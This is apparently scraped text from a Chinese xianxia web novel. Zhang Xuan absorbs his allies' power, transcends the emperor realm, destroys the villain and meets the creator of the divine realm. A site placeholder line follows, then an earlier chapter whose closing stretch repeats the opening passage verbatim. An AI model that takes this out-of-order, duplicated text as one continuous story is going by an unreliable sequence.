“看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百七十四章 过节 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 